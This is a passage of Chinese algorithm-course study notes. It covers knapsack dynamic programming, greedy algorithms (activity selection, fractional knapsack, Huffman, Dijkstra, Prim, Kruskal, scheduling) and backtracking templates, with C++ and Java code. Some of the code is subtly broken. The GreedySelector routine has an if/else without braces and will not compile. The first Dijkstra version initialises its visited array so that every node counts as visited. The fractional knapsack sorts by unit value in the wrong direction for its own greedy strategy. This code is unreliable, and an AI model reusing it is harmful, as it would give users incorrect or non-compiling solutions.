size[i][j]=max(size[i-1][j],size[i-1][C[i]-1]+1); } size[n][n]=max(size[n-1][n],size[n-1][C[n]-1]+1); //i=n,j=n } void Traceback(int C[],int **size,int n,int Net[],int \u0026amp;m) { //Net[0:m-1]存储MNS(n,n)中的m条连线 int j=n; m=0; for(int i=n; i\u0026gt;1; i--) if(size[i][j]!=size[i-1][j]) //第i条连线∈MNS(n,n) { Net[m++]=i; j=C[i]-1; //π[i] } if(j\u0026gt;=C[1]) //i=1 Net[m++]=1; } 9.01背包问题（重要） # 可以看代码随想录，我不知道为什么课本能写的这么逆天。\n但是要理解书上的关于跳跃点的问题。\nhttps://programmercarl.com/%E8%83%8C%E5%8C%85%E7%90%86%E8%AE%BA%E5%9F%BA%E7%A1%8001%E8%83%8C%E5%8C%85-2.html#%E7%AE%97%E6%B3%95%E5%85%AC%E5%BC%80%E8%AF%BE\n重要：背下来\n给定n种物品和一背包。物品i的重量是𝑤𝑖，其价值为𝑣𝑖，背包的容量为C。问应如何选择装入背包的物品，使得装入背包中物品的总价值最大?\n0-1背包问题是一个特殊的整数规划问题\n1️⃣ 最优子结构性质（证明题） # 注意证明的方法和思想。\n设(y1,y2,\u0026hellip;,yn)是所给问题的一个最优解，则(y2,y3,\u0026hellip;,yn)是下面相应子问题的的一个最优解：\n若不然，设(z2,z3,\u0026hellip;,zn)是上述子问题的一个最优解。\n这说明(y1,z2,\u0026hellip;,zn)是所给问题的一个更优解，从而与(y1,y2,\u0026hellip;,yn)是所给问题的最优解相矛盾。\n在这里反推矛盾，书上这里还写错了，纯垃圾书!\n2️⃣ 递归关系 # 设所给0-1背包问题的子问题的最优值为m(i,j)，即m(i,j)是背包容量为j，可选择物品为i,i+1,…,n时0-1背包问题的最优值。 由0-1背包问题的最优子结构性质，可以建立计算m(i,j)的递归式如下。\n3️⃣ 算法描述 # public class KnapsackProblem { //0-1背包问题 /** * * @param v v[1:n]，物品i的价值 * @param w w[1:n]，物品i的重量 * @param c 背包容量 * @param n * @param m m[i][j]，背包容量为j，可选物品为[i:n]时，0-1背包问题的最优值 */ public static void Knapsack(int[]v,int[]w,int c,int n,int[][]m){ int jMax = Math.min(w[n]-1,c); for (int j = 0; j \u0026lt;=jMax; j++) { m[n][j]=0;//j\u0026lt;=c\u0026amp;\u0026amp;j\u0026lt;w[n]，物品n无法放入背包 } for (int j = w[n]; j \u0026lt;=c; j++) { m[n][j]=v[n];//w[n]\u0026lt;=j\u0026lt;=c，物品n可以放入背包 }//画边界，从后往前看 for (int i = n-1; i \u0026gt;1 ; i--) { jMax = Math.min(w[i]-1,c); for (int j = 0; j \u0026lt;=jMax; j++) { m[i][j]=m[i+1][j];//物品i无法放入背包 } for (int j = w[i]; j \u0026lt;=c ; j++) {//物品i可放入背包 m[i][j]=Math.max(m[i+1][j],m[i+1][j-w[i]]+v[i]); } } m[1][c]=m[2][c]; if (c\u0026gt;=w[1]){ m[1][c]=Math.max(m[1][c],m[2][c-w[1]]+v[1]); } } /** * 求解 * @param m * @param w * @param c * @param n * @param x 具体的解 */ public static void TraceBack(int[][]m, int[]w,int c,int n,int[]x){ for(int i=1;i\u0026lt;n;i++) if(m[i][c]==m[i+1][c]) x[i]=0; else { x[i]=1; c-=w[i]; } x[n]=(m[n][c]\u0026gt;0)?1:0; } public static void main(String[] args) { int[]v={0,1,13,8,4,5,6,7}; int[]w={0,2,3,1,4,1,5,1}; int c = 10; int n = v.length; int[] x = new int[n]; int[][]m=new int[n][c+1]; Knapsack(v,w,c,n-1,m); TraceBack(m,w,c,n-1,x); for (int i = 1; i \u0026lt; n; i++) { System.out.println(x[i]+\u0026#34; \u0026#34;); } } } 一维的优化问题：\n以下从代码随想录的网站上复制的\n一维dp数组（滚动数组） # 对于背包问题其实状态都是可以压缩的。\n在使用二维数组的时候，递推公式：dpi = max(dpi - 1, dpi - 1] + value[i]);\n其实可以发现如果把dp[i - 1]那一层拷贝到dp[i]上，表达式完全可以是：dpi = max(dpi, dpi] + value[i]);\n与其把dp[i - 1]这一层拷贝到dp[i]上，不如只用一个一维数组了，只用dp[j]（一维数组，也可以理解是一个滚动数组）。\n这就是滚动数组的由来，需要满足的条件是上一层可以重复利用，直接拷贝到当前层。\n读到这里估计大家都忘了 dpi里的i和j表达的是什么了，i是物品，j是背包容量。\ndpi 表示从下标为[0-i]的物品里任意取，放进容量为j的背包，价值总和最大是多少。\n一定要时刻记住这里i和j的含义，要不然很容易看懵了。\n动规五部曲分析如下：\n确定dp数组的定义 关于dp数组的定义，我在 01背包理论基础\n(opens new window) 有详细讲解\n在一维dp数组中，dp[j]表示：容量为j的背包，所背的物品价值可以最大为dp[j]。\n一维dp数组的递推公式 二维dp数组的递推公式为： dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - weight[i]] + value[i]);\n公式是怎么来的 在这里 01背包理论基础\n(opens new window) 有详细讲解。\n一维dp数组，其实就上上一层 dp[i-1] 这一层 拷贝的 dp[i]来。\n所以在 上面递推公式的基础上，去掉i这个维度就好。\n递推公式为：dp[j] = max(dp[j], dp[j - weight[i]] + value[i]);\n以下为分析：\ndp[j]为 容量为j的背包所背的最大价值。\ndp[j]可以通过dp[j - weight[i]]推导出来，dp[j - weight[i]]表示容量为j - weight[i]的背包所背的最大价值。\ndp[j - weight[i]] + value[i] 表示 容量为 [j - 物品i重量] 的背包 加上 物品i的价值。（也就是容量为j的背包，放入物品i了之后的价值即：dp[j]）\n此时dp[j]有两个选择，一个是取自己dp[j] 相当于 二维dp数组中的dpi-1，即不放物品i，一个是取dp[j - weight[i]] + value[i]，即放物品i，指定是取最大的，毕竟是求最大价值，\n所以递归公式为：\ndp[j] = max(dp[j], dp[j - weight[i]] + value[i]); 可以看出相对于二维dp数组的写法，就是把dpi中i的维度去掉了。\n一维dp数组如何初始化 关于初始化，一定要和dp数组的定义吻合，否则到递推公式的时候就会越来越乱。\ndp[j]表示：容量为j的背包，所背的物品价值可以最大为dp[j]，那么dp[0]就应该是0，因为背包容量为0所背的物品的最大价值就是0。\n那么dp数组除了下标0的位置，初始为0，其他下标应该初始化多少呢？\n看一下递归公式：dp[j] = max(dp[j], dp[j - weight[i]] + value[i]);\ndp数组在推导的时候一定是取价值最大的数，如果题目给的价值都是正整数那么非0下标都初始化为0就可以了。\n这样才能让dp数组在递归公式的过程中取的最大的价值，而不是被初始值覆盖了。\n那么我假设物品价值都是大于0的，所以dp数组初始化的时候，都初始为0就可以了。\n一维dp数组遍历顺序 代码如下：\nfor(int i = 0; i \u0026lt; weight.size(); i++) { // 遍历物品 for(int j = bagWeight; j \u0026gt;= weight[i]; j--) { // 遍历背包容量 dp[j] = max(dp[j], dp[j - weight[i]] + value[i]); } } 这里大家发现和二维dp的写法中，遍历背包的顺序是不一样的！\n二维dp遍历的时候，背包容量是从小到大，而一维dp遍历的时候，背包是从大到小。\n为什么呢？\n倒序遍历是为了保证物品i只被放入一次！。但如果一旦正序遍历了，那么物品0就会被重复加入多次！\n举一个例子：物品0的重量weight[0] = 1，价值value[0] = 15\n如果正序遍历\ndp[1] = dp[1 - weight[0]] + value[0] = 15\ndp[2] = dp[2 - weight[0]] + value[0] = 30\n此时dp[2]就已经是30了，意味着物品0，被放入了两次，所以不能正序遍历。\n为什么倒序遍历，就可以保证物品只放入一次呢？\n倒序就是先算dp[2]\ndp[2] = dp[2 - weight[0]] + value[0] = 15 （dp数组已经都初始化为0）\ndp[1] = dp[1 - weight[0]] + value[0] = 15\n所以从后往前循环，每次取得状态不会和之前取得状态重合，这样每种物品就只取一次了。\n那么问题又来了，为什么二维dp数组遍历的时候不用倒序呢？\n因为对于二维dp，dpi都是通过上一层即dpi - 1计算而来，本层的dpi并不会被覆盖！\n（如何这里读不懂，大家就要动手试一试了，空想还是不靠谱的，实践出真知！）\n再来看看两个嵌套for循环的顺序，代码中是先遍历物品嵌套遍历背包容量，那可不可以先遍历背包容量嵌套遍历物品呢？\n不可以！\n因为一维dp的写法，背包容量一定是要倒序遍历（原因上面已经讲了），如果遍历背包容量放在上一层，那么每个dp[j]就只会放入一个物品，即：背包里只放入了一个物品。\n所以一维dp数组的背包在遍历顺序上和二维其实是有很大差异的！，这一点大家一定要注意。\n10.最优二叉搜索树 # TODO：\n4.贪心算法 # 由局部最优推理全局最优，但是结果不一定正确，数学上的证明才能说明最好。\n一般来说简单的贪心都会先考虑排序问题。\n1.活动安排问题 # 活动安排问题：要求高效地安排一系列争用某一公共资源的活动。\n活动序号 1 2 3 4 5 6 7 8 9 10 11 起始时间 1 3 0 5 3 5 6 8 8 2 12 结束时间 4 5 6 7 8 9 10 11 12 13 14 1、问题定义 # ​\t设有n个活动的集合E={1,2,…,n}，其中每个活动都要求使用同一资源，如演讲会场等，而在同一时间内只有一个活动能使用这一资源。（临界资源）\n​\t每个活动i都有一个要求使用该资源的起始时间𝑠𝑖和一个结束时间𝑓𝑖，且𝑠𝑖\u0026lt;𝑓𝑖 。\n​\t如果选择了活动i，则它在半开时间区间[𝑠𝑖,𝑓𝑖)内占用资源。若区间与[𝑠𝑖,𝑓𝑖)区间[𝑠𝑗,𝑓𝑗)不相交，则称活动i与活动j是相容的。即，当𝑠𝑖≥𝑓𝑗或𝑠𝑗≥𝑓𝑖时，活动i与活动j相容，\n​\t问题就是选择一个由互相兼容的活动组成的最大集合\n2、实现代码 # template\u0026lt;class Type\u0026gt; void GreedySelector(int n, Type s[], Type f[], bool A[]) { //各活动的起始时间和结束时间存储在数组s和f中 //且按结束时间的非递减排序：f1≤f2≤…≤fn排列。 A[1]=true; //用集合A存储所选择的活动 int j=1; for(int i=2; i\u0026lt;=n; i++) { //将与j相容的具有最早完成时间的相容活动加入集合A if(s[i]\u0026gt;=f[j]) A[i]=true; j=i; else A[i]=false; } } 3、算法分析 # ​\t设集合a包含已被选择的活动， 初始时为空。所有待选择的活动按结束时间的非递减顺序排列：𝑓1≤𝑓2≤\u0026hellip;𝑓𝑛\n​\t变量j指出最近加入a的活动序号。由于按结束时间非递减顺序来考虑各项活动的，所以𝑓𝑗总是a中所有活动的最大结束时间\n​\t由于输入活动是以完成时间的非递减排列，所选择的下一个活动总是可被合法调度的活动中具有最早结束时间的那个，所以算法是一个**“贪心的”选择**，即使得使剩余的可安排时间段极大化，以便安排尽可能多的相容活动。\n4、复杂性分析 # ​\t算法GreedySelector的效率极高。当输入的活动已按结束时间的非减序排列，算法只需O(n)的时间就可安排n个活动，使最多的活动能相容地使用公共资源。 如果所给出的活动未按非减序排列，可以用O(nlogn)的时间重排。\n5、贪心选择性质和最优子结构性质证明 # 还是注意贪心的证明的方法。\n​\t设集合E={1，2，…，n}为所给的活动集合。由于E中活动按结束时间的非减序排列，故活动1有最早完成时间。\n证明I：活动安排问题有一个最优解以贪心选择开始，即该最优解中包含活动1。\n证明II：对集合E中所有与活动1相容的活动进行活动安排求得最优解的子问题。\n​\t即需证明：若A是原问题的最优解，则A’=A-{1}是活动安排问题E’={i∈E:si≥f1}的最优解。\n非常浅显的证明，考试前看一下。\n​\t如果能找到*E*’的一个最优解*B*’，它包含比*A*’更多的活动，则将活动1加入到*B*’中将产生*E*的一个解*B*，它包含比*A*更多的活动。这与*A*的最优性矛盾。\n​\t结论：每一步所做的贪心选择问题都将问题简化为一个更小的与原问题具有相同形式的子问题。\n2.01背包问题 # ​\t与0-1背包问题类似，所不同的是在选择物品i装入背包时，可以选择物品i的一部分，而不一定要全部装入背包。 此问题的形式化描述为，给定𝑐\u0026gt;0,𝑤𝑖\u0026gt;0,𝑣𝑖\u0026gt;0,1≤𝑖≤𝑛，要求找出一个n元0-1向量(𝑥1,𝑥2,..,𝑥𝑛)，其中0≤𝑥𝑖≤1,1≤𝑖≤𝑛 ，使得对𝑤𝑖𝑥𝑖求和小于等于c ，并且对𝑣𝑖𝑥𝑖求和达到最大。\n​\t对于0-1背包问题，贪心选择之所以不能得到最优解是因为，在这种情况下，无法保证最终能把背包装满，部分闲置的背包空间会使每千克背包空间的价值降低。\n1、题目描述 # ​\t有3种物品，背包的容量为50千克。物品1重10千克，价值60元；物品2重20千克，价值100元；物品3重30千克，价值120元。用贪心算法求背包问题。\n2、基本步骤 # ​\t首先计算每种物品单位重量的价值𝑣𝑖/𝑤𝑖；\n还是根据这个单位重量进行一个排序。\n​\t然后，依贪心选择策略，将尽可能多的单位重量价值最高的物品装入背包。\n​\t若将这种物品全部装入背包后，背包内的物品总重量未超过c，则选择单位重量价值次高的物品并尽可能多地装入背包。依此策略一直地进行下去，直到背包装满为止。\n3、贪心策略 # ​\t贪心策略：物品1，6元/千克；物品2，5元/千克；物品3，4元/千克。\n4、算法描述 # ​\t该算法前提：所有物品在集合中按其单位重量的价值从小到大排列。\nvoid Knapsack(int n, float M, float v[], float w[], float x[]) { sort(n, v, w);//按照单位价值从小到大排列 int i; for (i = 1; i \u0026lt;= n; i++) x[i] = 0; float c = M; for (i = 1; i \u0026lt;= n; i++) { if (w[i] \u0026gt; c) break; x[i] = 1; c -= w[i]; } if (i \u0026lt;= n) x[i] = c / w[i];//按比例放 } 算法Knapspack的主要计算时间在于将各种物品按其单位重量的价值从小到大排序，算法的时间复杂度O(nlogn) 。\n3.HaffMan编码 # 7分简答题\n学过数据结构就比较简单。\n​\t哈夫曼编码是广泛地用于数据文件压缩的十分有效的编码方法。其压缩率通常在20%～90%之间。\n​\t哈夫曼编码算法是用字符在文件中出现的频率表来建立一个用0,1串表示各字符的最优表示方式。\n​\t编码目标：给出现频率高的字符较短的编码，出现频率较低的字符以较长的编码，可以大大缩短总码长。\n1、前缀码(考点) # ​\t定义：对每一个字符规定一个0,1串作为其代码，并要求任一字符的代码都不是其他字符代码的前缀。这种编码称为前缀码。\n​\t编码的前缀性质可以使译码方法非常简单。由于任一字符的代码都不是其他字符代码的前缀，从编码文件中不断取出代表某一字符的前缀码，转换为原字符，即可逐个译出文件中的所有字符。\n规定一下，小的数字放在二叉树的左子结点，大的数字放在二叉树的右边子结点，左边是0,右边是1。\na b c d e f 频率 45 13 12 16 9 5 定长码 000 001 010 011 100 101 变长码 0 101 100 111 1101 1100 给定序列：001011101，可以唯一的分解为0，0，101，1101，编译为aabe\n2、问题分 # ​\t译码过程需要方便地取出编码的前缀，因此需要一个表示前缀码的合适的数据结构。\n​\t用二叉树作为前缀编码的数据结构。在表示前缀码的二叉树中，树叶代表给定的字符，并将每个字符的前缀码看作是从树根到代表该字符的树叶的一条道路。代码中每一位的0或1分别作为指示某结点到其左儿子或右儿子的“路标”。\n3、前缀码的二叉树表示 # 4、构造哈夫曼编码(考点) # ​\t哈夫曼算法以自底向上的方式构造表示最优前缀码的二叉树T。\n​\t编码字符集中每一字符c的频率是f(c)。以f为键值的优先队列Q用以在作贪心选择时有效地确定算法当前要合并的两棵具有最小频率的树。一旦两棵具有最小频率的树合并后，产生一棵新的树，其频率为合并的两棵树的频率之和，并将新树插入优先队列Q中，再进行新的合并。\n•由于字符集中有6个字符，优先队列的大小初始为6，总共用5次合并得到最终的编码树T。\n• 每次合并使Q的大小减1，最终得到的树就是最优前缀编码：哈夫曼编码树，每个字符的编码由树T的根到该字符的路径上各边的标号所组成。\n​\t1️⃣ 算法首先用字符集C中每一个字符c的频率f(c)初始化优先队列Q。以f为键值的优先队列Q用在贪心选择时有效地确定算法当前要合并的2棵具有最小频率的树。\n​\t2️⃣ 然后不断地从优先队列Q中取出具有最小频率的两棵树x和y，将它们合并为一棵新树z。z的频率是x和y的频率之和。\n​\t3️⃣ 新树z以x为其左儿子，y为其右儿子（也可以y为其左儿子，x为其右儿子。不同的次序将产生不同的编码方案，但平均码长是相同的）。经过n-1次的合并后，优先队列中只剩下一棵树，即所要求的树T。\n4.Dijkstra算法\u0026mdash;单源最短路径 # ​\t给定带权有向图G=(V,E)，其中每条边的权是非负实数。\n​\t给定V中的一个顶点，称为源。\n​\t现在要计算从源到其他所有各顶点的最短路径长度。这里的路径长度是指路径上各边权之和，这个问题通常称为单源最短路径问题。\n考点：画一个迭代矩阵\n算法基本思想 # ​\tDijkstra算法是求解单源最短路径问题的一个贪心算法。\n​\t基本思想：设置一个顶点集合S ，并不断地作贪心选择来扩充这个集合。一个顶点属于集合 S 当且仅当从源到该顶点的最短路径长度已知。\nDijkstra算法通过分步方法求出最短路径。\n每一步产生一个到达新的目的顶点的最短路径。\n下一步所能达到的目的顶点通过这样的贪心准则选取：在还未产生最短路径的顶点中，选择路径长度最短的目的顶点。\n也就是说， Dijkstra算法按路径长度顺序产生最短路径。\nDijkstra算法的执行 # 1️⃣ 设置一个顶点集合S。一个顶点属于集合 S 当且仅当从源到该顶点的最短路径长度已知。\n2️⃣ 初始时，S中仅含有源。\n3️⃣ 设u是G的某一个顶点，把从源到u且中间只有经过S中顶点的路称为从源到u的特殊路径，并且用数组dist来记录当前每个顶点所对应的最短特殊路径长度。\n4️⃣ Dijkstra算法每次从V-S中取出具有最短特殊路径长度的顶点u，将u添加到 S 中，同时对数组dist作必要的修改。\n5️⃣ 一旦S包含了所有V中顶点，dist就记录了从源到所有其他顶点之间的最短路径长度。\n过程说明 # 已知：带权有向图\nV = { v1, v2, v3, v4, v5 }\nE = { \u0026lt; v1, v2 \u0026gt;, \u0026lt; v1, v4 \u0026gt;, \u0026lt; v1, v5 \u0026gt;, \u0026lt; v2, v3 \u0026gt;, \u0026lt; v3, v5 \u0026gt;, \u0026lt; v4, v3 \u0026gt;, \u0026lt; v4, v5 \u0026gt; }\n设为v1源点，求其到其余顶点的最短路径。\n其中，没有特殊路径的顶点用maxint表示其最短特殊路径长度\n迭代矩阵(考点) # 可能会画这样的图，数据结构让画过。\n迭代 S u dist[2] dist[3] dist[4] dist[5] 初始 {1} - 10 maxint 30 100 1 {1,2} 2 10 60 30 100 2 {1,2,4} 4 10 50 30 90 3 {1,2,4,3} 3 10 50 30 60 4 {1,2,4,3,5} 5 10 50 30 60 ​\t按长度顺序产生最短路径时，下一条最短路径总是由一条已产生的最短路径加上一条边形成。\n没有优化的代码：\n#include \u0026lt;iostream\u0026gt; #include \u0026lt;algorithm\u0026gt; #include \u0026lt;cstdio\u0026gt; #include \u0026lt;cstring\u0026gt; #define N 510 using namespace std; int grid[N][N]; bool isInSet[N]; int minLen[N]; void dij(int n, int m){ memset(minLen, 0x3f, sizeof(minLen)); memset(isInSet, -1, sizeof(isInSet)); minLen[1] = 0; for(int index = 0; index \u0026lt; n; ++index){ int t = -1; //遍历找到距离最小的点 for(int i = 1; i \u0026lt;= n; ++i){ if(!isInSet[i] \u0026amp;\u0026amp; (t == -1 || minLen[i] \u0026lt; minLen[t])) t = i; } isInSet[t] = true; //用t更新到所有其他点的距离 for(int i = 1; i \u0026lt;= n; ++i){ minLen[i] = min(minLen[i], minLen[t] + grid[t][i]); } } int ans = (minLen[n] == 0x3f3f3f3f ? -1 : minLen[n]); printf(\u0026#34;%d\\n\u0026#34;, ans); } int main(void){ int n, m; cin \u0026gt;\u0026gt; n \u0026gt;\u0026gt; m; memset(grid, 0x3f, sizeof(grid)); for(int index = 0; index \u0026lt; m; ++index){ int x, y, z; cin \u0026gt;\u0026gt; x \u0026gt;\u0026gt; y \u0026gt;\u0026gt; z; grid[x][y] = min(grid[x][y], z);//去重复 } dij(n, m); } 使用堆来做优化：\nconst int N = 100010; // 稀疏图用邻接表来存 int h[N], e[N], ne[N], idx; int w[N]; // 用来存权重 int dist[N]; bool st[N]; // 如果为true说明这个点的最短路径已经确定 int n, m; void add(int x, int y, int c) { // 有重边也不要紧，假设1-\u0026gt;2有权重为2和3的边，再遍历到点1的时候2号点的距离会更新两次放入堆中 // 这样堆中会有很多冗余的点，但是在弹出的时候还是会弹出最小值2+x（x为之前确定的最短路径）， // 并标记st为true，所以下一次弹出3+x会continue不会向下执行。 w[idx] = c; e[idx] = y; ne[idx] = h[x]; h[x] = idx++; } int dijkstra() { memset(dist, 0x3f, sizeof(dist)); dist[1] = 0; priority_queue\u0026lt;PII, vector\u0026lt;PII\u0026gt;, greater\u0026lt;PII\u0026gt;\u0026gt; heap; // 定义一个小根堆 // 这里heap中为什么要存pair呢，首先小根堆是根据距离来排的，所以有一个变量要是距离， // 其次在从堆中拿出来的时候要知道知道这个点是哪个点，不然怎么更新邻接点呢？所以第二个变量要存点。 heap.push({ 0, 1 }); // 这个顺序不能倒，pair排序时是先根据first，再根据second， // 这里显然要根据距离排序 while(heap.size()) { PII k = heap.top(); // 取不在集合S中距离最短的点 heap.pop(); int ver = k.second, distance = k.first; if(st[ver]) continue; st[ver] = true; for(int i = h[ver]; i != -1; i = ne[i]) { int j = e[i]; // i只是个下标，e中在存的是i这个下标对应的点。 if(dist[j] \u0026gt; distance + w[i]) { dist[j] = distance + w[i]; heap.push({ dist[j], j }); } } } if(dist[n] == 0x3f3f3f3f) return -1; else return dist[n]; } 5.最小生成树MST(算法大意要描述) # 1、问题描述 # 设G=(V,E)是无向带权连通图，即一个网络。\nE中每条边(v,w)的权为𝑐[𝑣][𝑤]。如果G的子图G’是一棵包含G的所有顶点的树，则称G’为G的生成树。\n生成树上各边权的总和称为该生成树的耗费。在G的所有生成树中，耗费最小的生成树称为G的最小生成树。\n网络的最小生成树在实际中有广泛应用。\n例如，在设计通信网络时，用图的顶点表示城市，用边(v,w)的权𝑐[𝑣][𝑤]表示建立城市v和城市w之间的通信线路所需的费用，则最小生成树就给出了建立通信网络的最经济的方案。\n2、贪心法求解准则 # 根据最优量度标准，算法的每一步从图中选择一条符合准则的边，共选择n-1条边，构成无向连通图的一棵生成树。\n贪心法求解的关键：该量度标准必须足够好。它应当保证依据此准则选出n-1条边构成原图的一棵生成树，必定是最小代价生成树。\n3、prim算法 # ​\tMST（Minimum Spanning Tree，最小生成树）问题有两种通用的解法，Prim算法就是其中之一，它是从点的方面考虑构建一颗MST，大致思想是：设图G顶点集合为U，首先任意选择图G中的一点作为起始点a，将该点加入集合V，再从集合U-V中找到另一点b使得点b到V中任意一点的权值最小，此时将b点也加入集合V；以此类推，现在的集合V={a，b}，再从集合U-V中找到另一点c使得点c到V中任意一点的权值最小，此时将c点加入集合V，直至所有顶点全部被加入V，此时就构建出了一颗MST。因为有N个顶点，所以该MST就有N-1条边，每一次向集合V中加入一个点，就意味着找到一条MST的边。\n详解请参考https://blog.csdn.net/yeruby/article/details/38615045\n考点：算法思想与生成顺序方法说明\nKruskal算法的贪心准则：按边代价的非减次序考察E中的边，从中选择一条代价最小的边e=(u,v)。这种做法使得算法在构造生成树的过程中，当前子图不一定是连通的。\n算法思想——从点出发\nvoid Prim(int n,Type **c){//c[i][j]为边(i,j)的权值 TE=Ø; U={1}; while(U!=V){ (u,v)=u属于U且v属于V-U的最小权边； TE=TE∪{(u,v)}; U=U∪{v}; } } Prim算法的时间复杂度为𝑂(𝑛2)\n4、Kruskal算法 # 从边的角度出发解决问题。\n详情请看https://www.cnblogs.com/fzl194/p/8723325.html\n算法思想——从边出发\n1️⃣设连通网 N = (V, E )，令最小生成树初始状态为只有 n 个顶点而无边的非连通图 T=(V, { })，每个顶点自成一个连通分量。\n2️⃣在 E 中选取代价最小的边，若该边依附 的顶点落在 T 中相同的连通分量上（即： 不能形成环），则将此边加入到 T 中；否 则，舍去此边，选取下一条代价最小的边。\n3️⃣ 依此类推，直至 T 中所有顶点都在同一 连通分量上为止。\nKruskal算法的时间复杂度为𝑂(𝑛𝑙𝑜𝑔𝑛)\n6.*多机调度问题 # 近似算法，最长的最先开始处理即可。\n1、问题描述 # ​\t多机调度问题要求给出一种作业调度方案，使所给的n个作业在尽可能短的时间内由m台机器加工处理完成。约定，每个作业均可在任何一台机器上加工处理，但未完工前不允许中断处理。作业不能拆分成更小的子作业。\n这个问题是NP完全问题，到目前为止还没有有效的解法。对于这一类问题,用贪心选择策略有时可以设计出较好的近似算法。\n2、算法思想 # ​\t采用最长处理时间作业优先的贪心选择策略可以设计出解多机调度问题的较好的近似算法。 按此策略，当𝑛≤𝑚时，只要将机器i的[0, ti]时间区间分配给作业i即可，算法只需要O(1)时间。 当𝑛\u0026gt;𝑚 时，首先将n个作业依其所需的处理时间从大到小排序。然后依此顺序将作业分配给空闲的处理机。算法所需的计算时间为O(nlogn)。\n3、举例说明 # ​\t设7个独立作业{1,2,3,4,5,6,7}由3台机器M1，M2和M3加工处理。各作业所需的处理时间分别为{2,14,4,16,6,5,3}。按算法greedy产生的作业调度如下图所示，所需的加工时间为17。\n5.回溯算法 # 填空题会有代码填空，大题会手动回溯\n学习要点 # 理解回溯法的深度优先搜索策略。\n掌握用回溯法解题的算法框架\n（1）递归回溯\n（2）迭代回溯\n（3）子集树算法框架\n（4）排列树算法框架\n5.1 回溯法的算法框架 # ​\t回溯法的基本做法是搜索，或是一种组织得井井有条的，能避免不必要搜索的穷举式搜索法。这种方法适用于解一些组合数相当大的问题。\n​\t回溯法在问题的解空间树中，按深度优先策略，从根结点出发搜索解空间树。算法搜索至解空间树的任意一点时，先判断该结点是否包含问题的解。如果肯定不包含，则跳过对该结点为根的子树的搜索，逐层向其祖先结点回溯；否则，进入该子树，继续按深度优先策略搜索。\n1、问题的解空间 # 用回溯法解问题时，应明确定义问题的解空间。\n解空间往往用向量集表示。\n问题的解向量：回溯法希望一个问题的解能够表示成一个n元式(x1,x2,…,xn)的形式。\n显约束：对分量xi的取值限定。\n隐约束：为满足问题的解而对不同分量之间施加的约束。\n解空间：对于问题的一个实例，解向量满足显式约束条件的所有多元组，构成了该实例的一个解空间。\n2、回溯的基本思想 # 扩展结点：一个正在产生儿子的结点称为扩展结点。\n活结点：一个自身已生成但其儿子还没有全部生成的节点称做活结点。\n死结点：一个所有儿子已经产生的结点称做死结点。\n深度优先的问题状态生成法：如果对一个扩展结点R，一旦产生了它的一个儿子C，就把C当做新的扩展结点。在完成对子树C（以C为根的子树）的穷尽搜索之后，将R重新变成扩展结点，继续生成R的下一个儿子（如果存在）。\n所以回溯法中一个节点是可以多次成为一个扩展节点但是分支限界法一个节点最多仅有一次机会。\n宽度优先的问题状态生成法：在一个扩展结点变成死结点之前，它一直是扩展结点。\n回溯法从开始结点（根结点）出发，以深度优先方式搜索整个解空间。\n基本思想\n1️⃣ 针对所给问题，定义问题的解空间；\n2️⃣ 确定易于搜索的解空间结构；\n3️⃣ 以深度优先方式搜索解空间，并在搜索过程中用剪枝函数避免无效搜索\n常用剪枝函数：（这里可能会考察定义）\n用约束函数在扩展结点处剪去不满足约束的子树；\n用限界函数剪去得不到最优解的子树。\n3、递归回溯——背诵 # void Backtrack (int t) //t为递归深度 { if (t\u0026gt;n) Output(x); //记录或输出可靠解x，x为数组 else for (int i=f(n,t); i\u0026lt;=g(n,t); i++) { //f(n,t)表示在当前扩展结点处未搜索过的子树的起始编号 //g(n,t)为终止编号 x[t]=h(i); //h(i)表示当前扩展结点处x[t]的第i个可选值 if (Constraint(t)\u0026amp;\u0026amp;Bound(t)) //剪枝 Backtrack(t+1); } } 回溯法对解空间作深度优先搜索，因此，在一般情况下用递归方法实现回溯法。\n4、迭代回溯——会填空即可 # void IterativeBacktrack (){ int t=1; while (t\u0026gt;0){ if (f(n,t)\u0026lt;=g(n,t)) for (int i=f(n,t); i\u0026lt;=g(n,t); i++){ x[t]=h(i); if (Constraint(t)\u0026amp;\u0026amp;Bound(t)){ if (solution(t)) //判断是否已得到可行解 Output(x); else t++; } } else t--; } } f(n,t)表示在当前扩展结点处未搜索过的子树的起始编号\ng(n,t)为终止编号\nh(i)表示当前扩展结点处x[t]的第i个可选值\n5、子集树和排列树(重点) # ​\t子集树：当所给的问题是从n个元素的集合S中找出满足某种性质的子集时，相应的解空间树称为子集树。时间复杂度𝛺(2𝑛)。算法描述如下：\nLeetCode:https://leetcode.cn/problems/subsets/\nclass Solution { List\u0026lt;Integer\u0026gt; path = new ArrayList(); List\u0026lt;List\u0026lt;Integer\u0026gt;\u0026gt; ans = new ArrayList(); public List\u0026lt;List\u0026lt;Integer\u0026gt;\u0026gt; subsets(int[] nums) { dfs(0, nums); return ans; } private void dfs(int index, int[] nums) { if(index == nums.length){ ans.add(new ArrayList\u0026lt;Integer\u0026gt;(path)); return; } dfs(index + 1, nums); path.add(nums[index]); dfs(index + 1, nums); path.remove(path.size() - 1); } } 类似于伪代码：\n每个代码选和不选。\nvoid Backtrack (int t) { if (t\u0026gt;n) Output(x); else for (int i=0; i\u0026lt;=1; i++) { x[t]=i; if (Constraint(t)\u0026amp;\u0026amp;Bound(t)) Backtrack(t+1); } } ​\t排列树当所给的问题是确定n个元素满足某种性质的排列时，相应的解空间树称为排列树。时间复杂度𝛺(𝑛!)。算法描述如下：\n时间复杂度就是排列的大小Ann = n!。\nLeetCode:https://leetcode.cn/problems/permutations\nclass Solution { List\u0026lt;List\u0026lt;Integer\u0026gt;\u0026gt; ans = new ArrayList(); public List\u0026lt;List\u0026lt;Integer\u0026gt;\u0026gt; permute(int[] nums) { dfs(0, nums); return ans; } private void swap(int i, int j, int[] nums){ int temp = nums[i]; nums[i] = nums[j]; nums[j] = temp; } private void dfs(int index, int[] nums){ if(index == nums.length){ List\u0026lt;Integer\u0026gt; path = Arrays.stream(nums).boxed().collect(Collectors.toList()); ans.add(path); return; } // 重点：在基准之后循环，交换，接着继续递归。 for(int i = index; i \u0026lt; nums.length; ++i){ swap(i, index, nums); dfs(index + 1, nums); swap(i, index, nums); } } } 注意这里的两个swap函数。\nvoid Backtrack (int t) { if (t\u0026gt;n) Output(x); else for (int i=t; i\u0026lt;=n; i++) { Swap(x[t], x[i]); if (Constraint(t)\u0026amp;\u0026amp;Bound(t)) Backtrack(t+1); Swap(x[t], x[i]); } } 5.2 装载问题 # 1、问题描述 # 